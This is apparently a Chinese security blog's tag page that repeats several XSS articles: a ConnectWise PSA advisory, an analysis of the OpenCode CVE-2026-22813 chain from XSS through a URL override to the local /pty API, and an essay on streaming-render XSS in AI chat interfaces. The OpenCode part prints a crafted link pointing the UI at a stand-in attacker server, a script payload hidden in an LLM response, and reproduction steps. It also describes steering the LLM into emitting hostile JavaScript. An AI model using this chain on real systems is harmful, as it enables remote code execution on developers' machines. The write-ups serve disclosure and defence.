标签 XSS漏洞 下的文章

ConnectWise 已为其 Professional Services Automation (PSA) 平台发布关键安全更新,修复了两个可能被攻击者利用的重要漏洞。这些漏洞影响 2026.1 之前的所有版本,并可能通过看似普通的 工时记录(Time Entry)备注 字段,导致恶意脚本执行和会话劫持。
本次安全修复中最受关注的是 CVE-2026-0695,这是一个 高危漏洞,基础评分 8.7。该漏洞被归类为 “网页生成过程中输入未正确过滤”(更常见的名称是 跨站脚本攻击,XSS),它将一个标准的数据输入字段变成了潜在的攻击入口。
根据安全公告,该漏洞源于 “工时记录备注处理” 中的一个特定条件。在未安装新版更新提供的正确输入过滤之前,恶意攻击者可以在工时记录中嵌入脚本。当合法用户(例如管理员或财务人员)在 PSA Web 客户端PSA 桌面应用 中查看该备注时,脚本就会执行。
这种 “存储型 XSS” 尤其危险,因为它会 “等待受害者上门”—— 只要高权限用户查看工时表,就可能被攻陷。
与 XSS 漏洞一同被修复的还有第二个漏洞 CVE-2026-0696,其目标是用户会话的完整性。该漏洞基础评分 6.5,属于 “敏感 Cookie 未设置 HttpOnly 标志”。
HttpOnly 是一项关键安全机制,用于防止客户端脚本访问 Cookie。由于未设置该标志,系统中的 “某些会话 Cookie” 可能被客户端代码读取。当与上述 XSS 漏洞结合时,就形成了一个强大的攻击链:攻击者可以注入脚本窃取这些可访问的会话 Cookie,从而可能劫持用户账户。
ConnectWise 将这些漏洞的严重性归类为 “重要(Important)”,并指出它们 “可能危及机密数据或其他资源”。
PSA 2026.1 版本明确 “更新了输入处理和会话 Cookie 配置,以解决这些问题”。
对于管理员来说,修复方式取决于部署模式:

云用户:

可以放心,ConnectWise 表示 “云实例正在自动更新到最新版本”。

本地部署用户:

必须立即行动。需要 “应用 2026.1 补丁,并确保所有桌面客户端已更新”,以关闭这些安全漏洞。

使用 ConnectWise PSA 的安全团队应立即检查版本号,确保已脱离 “2026.1 之前的版本”。

ConnectWise 已为其 Professional Services Automation (PSA) 平台发布关键安全更新,修复了两个可能被攻击者利用的重要漏洞。这些漏洞影响 2026.1 之前的所有版本,并可能通过看似普通的 工时记录(Time Entry)备注 字段,导致恶意脚本执行和会话劫持。
本次安全修复中最受关注的是 CVE-2026-0695,这是一个 高危漏洞,基础评分 8.7。该漏洞被归类为 “网页生成过程中输入未正确过滤”(更常见的名称是 跨站脚本攻击,XSS),它将一个标准的数据输入字段变成了潜在的攻击入口。
根据安全公告,该漏洞源于 “工时记录备注处理” 中的一个特定条件。在未安装新版更新提供的正确输入过滤之前,恶意攻击者可以在工时记录中嵌入脚本。当合法用户(例如管理员或财务人员)在 PSA Web 客户端PSA 桌面应用 中查看该备注时,脚本就会执行。
这种 “存储型 XSS” 尤其危险,因为它会 “等待受害者上门”—— 只要高权限用户查看工时表,就可能被攻陷。
与 XSS 漏洞一同被修复的还有第二个漏洞 CVE-2026-0696,其目标是用户会话的完整性。该漏洞基础评分 6.5,属于 “敏感 Cookie 未设置 HttpOnly 标志”。
HttpOnly 是一项关键安全机制,用于防止客户端脚本访问 Cookie。由于未设置该标志,系统中的 “某些会话 Cookie” 可能被客户端代码读取。当与上述 XSS 漏洞结合时,就形成了一个强大的攻击链:攻击者可以注入脚本窃取这些可访问的会话 Cookie,从而可能劫持用户账户。
ConnectWise 将这些漏洞的严重性归类为 “重要(Important)”,并指出它们 “可能危及机密数据或其他资源”。
PSA 2026.1 版本明确 “更新了输入处理和会话 Cookie 配置,以解决这些问题”。
对于管理员来说,修复方式取决于部署模式:

云用户:

可以放心,ConnectWise 表示 “云实例正在自动更新到最新版本”。

本地部署用户:

必须立即行动。需要 “应用 2026.1 补丁,并确保所有桌面客户端已更新”,以关闭这些安全漏洞。

使用 ConnectWise PSA 的安全团队应立即检查版本号,确保已脱离 “2026.1 之前的版本”。

漏洞概述 CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。 漏洞背景 OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。 三重攻击链解析 第一环:XSS漏洞(初始立足点) 漏洞位置:OpenCode网页UI的Markdown渲染器 根本原因 1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能 2 缺乏CSP防护:网页界面没有实施内容安全策略 3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义 攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。 技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器) 功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

Plain Text

复制代码
http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程 1 用户浏览器访问本地OpenCode页面(localhost:4096 2 网页UI读取?url=参数,连接至攻击者控制的服务器 3从攻击者服务器加载预先准备好的恶意会话内容 4恶意内容触发第一环的XSS漏洞 关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。 第三环:本地API滥用(最终杀伤) 高危API端点http://localhost:4096/pty/ API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。 同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以: 1下载并执行远程恶意脚本 2安装后门程序 3窃取敏感文件 4横向移动至内网其他系统 漏洞复现

image.png

提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。 1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json

这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。 启动简易HTTP服务器

3.进行攻击 1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL 在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。 4 确认文件是在目录中创建/tmp/

漏洞修复

image.png

移除内嵌JavaScript

image.png

添加了 DOMPurify 依赖

image.png

在图像预览组件中添加了安全处理 防止了XSS攻击 移除移除动态JavaScript执行和自定义URL参数

image.png

改了306行代码,近乎重写了该文件 移除自定义URL参数

image.png

通过props控制,不再从window对象读取 结论 CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出: 1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护 2 信任模型的缺陷:过度信任客户端输入和本地网络环境 3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模

引言
流式输出(Streaming Output)已成为现代AI交互的标准功能。用户不再需要等待完整响应生成,而是可以实时看到AI的思考过程,这种体验极大地提升了用户粘性和交互自然度。然而,在安全研究的视角下,这种看似优雅的技术背后隐藏着被严重低估的安全风险。

image.png

image.png

类似上图early spring vegetables的字体出现了明显的变化,导致这种的变化的原因是因为流式输出中部分代码出现了问题,前端会一步步渲染流式输出的内容。 前端处理流程: 1 浏览器接收到第一个 chunk → 渲染为普通段落 → 使用默认字体(如 font-size: 16px)。 2 接收到第三个 chunk:“Early Spring Vegetables” → 如果它被识别为 Markdown 标题(如 ## Early Spring Vegetables),前端解析器会将其转换为 <h3><strong> 3但此时: CSS 样式表可能尚未完全加载; 或者该元素的样式规则(如 h3 { font-size: 20px; font-weight: bold; })还未生效; 或者前端框架(如 React/Vue)正在动态更新 DOM,样式尚未“稳定”。 → 结果就是:文字刚出现时是“普通文本大小”,几毫秒后样式应用,变成“标题大小”,造成“字体忽大忽小”的错觉。 根据上面的情况,可以猜想是否有一种AI输出结果会可以在被截断的情况下是有问题的,但是完整的是正常的。 这种攻击被称为 “流式渲染 XSS” 或 “部分解析型 XSS”(Partial Rendering XSS / Streaming-based XSS) 一、问题本质:AI 输出“无害语句”,但前端“错误拼接 + 错误解析”导致恶意执行 比如:


但在串流式输出中,内容分块到达前端:

前端在接收第一个 chunk 时,可能错误地将其解析为:

→ 此时还未收到完整内容,但浏览器已开始渲染。 如果 AI 在某个 chunk 中无意间包含了一个未闭合的标签或特殊字符(如 <script> 的前半部分),前端可能在“不完整状态”下尝试修复或渲染,从而触发 XSS。 总体上来说“流式输出导致 XSS”的经典模式:内容被截断 → 前端试图修复 → 意外执行恶意代码。


引言
流式输出(Streaming Output)已成为现代AI交互的标准功能。用户不再需要等待完整响应生成,而是可以实时看到AI的思考过程,这种体验极大地提升了用户粘性和交互自然度。然而,在安全研究的视角下,这种看似优雅的技术背后隐藏着被严重低估的安全风险。

image.png



image.png



类似上图early spring vegetables的字体出现了明显的变化,导致这种的变化的原因是因为流式输出中部分代码出现了问题,前端会一步步渲染流式输出的内容。

前端处理流程:

1 浏览器接收到第一个 chunk → 渲染为普通段落 → 使用默认字体(如 font-size: 16px)。

2 接收到第三个 chunk:“Early Spring Vegetables” → 如果它被识别为 Markdown 标题(如 ## Early Spring Vegetables),前端解析器会将其转换为 <h3><strong>

3但此时:

CSS 样式表可能尚未完全加载;

或者该元素的样式规则(如 h3 { font-size: 20px; font-weight: bold; })还未生效;

或者前端框架(如 React/Vue)正在动态更新 DOM,样式尚未“稳定”。

→ 结果就是:文字刚出现时是“普通文本大小”,几毫秒后样式应用,变成“标题大小”,造成“字体忽大忽小”的错觉。

根据上面的情况,可以猜想是否有一种AI输出结果会可以在被截断的情况下是有问题的,但是完整的是正常的。

这种攻击被称为 “流式渲染 XSS” 或 “部分解析型 XSS”(Partial Rendering XSS / Streaming-based XSS)

一、问题本质:AI 输出“无害语句”,但前端“错误拼接 + 错误解析”导致恶意执行

比如:


但在串流式输出中,内容分块到达前端:

前端在接收第一个 chunk 时,可能错误地将其解析为:

→ 此时还未收到完整内容,但浏览器已开始渲染。

如果 AI 在某个 chunk 中无意间包含了一个未闭合的标签或特殊字符(如 <script> 的前半部分),前端可能在“不完整状态”下尝试修复或渲染,从而触发 XSS。

总体上来说“流式输出导致 XSS”的经典模式:内容被截断 → 前端试图修复 → 意外执行恶意代码。




漏洞概述

CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。

漏洞背景

OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。

三重攻击链解析

第一环:XSS漏洞(初始立足点)

漏洞位置:OpenCode网页UI的Markdown渲染器

根本原因

1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能

2 缺乏CSP防护:网页界面没有实施内容安全策略

3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义

攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。

技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器)

功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程

1 用户浏览器访问本地OpenCode页面(localhost:4096

2 网页UI读取?url=参数,连接至攻击者控制的服务器

3从攻击者服务器加载预先准备好的恶意会话内容

4恶意内容触发第一环的XSS漏洞

关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。

第三环:本地API滥用(最终杀伤)

高危API端点http://localhost:4096/pty/

API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。

同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以:

1下载并执行远程恶意脚本

2安装后门程序

3窃取敏感文件

4横向移动至内网其他系统

漏洞复现

image.png



提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。

1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json



这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。

启动简易HTTP服务器

3.进行攻击

1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL

在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。

4 确认文件是在目录中创建/tmp/



漏洞修复



image.png



移除内嵌JavaScript

image.png



添加了 DOMPurify 依赖

image.png



在图像预览组件中添加了安全处理

防止了XSS攻击

移除移除动态JavaScript执行和自定义URL参数

image.png



改了306行代码,近乎重写了该文件

移除自定义URL参数

image.png



通过props控制,不再从window对象读取

结论

CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出:

1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护

2 信任模型的缺陷:过度信任客户端输入和本地网络环境

3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模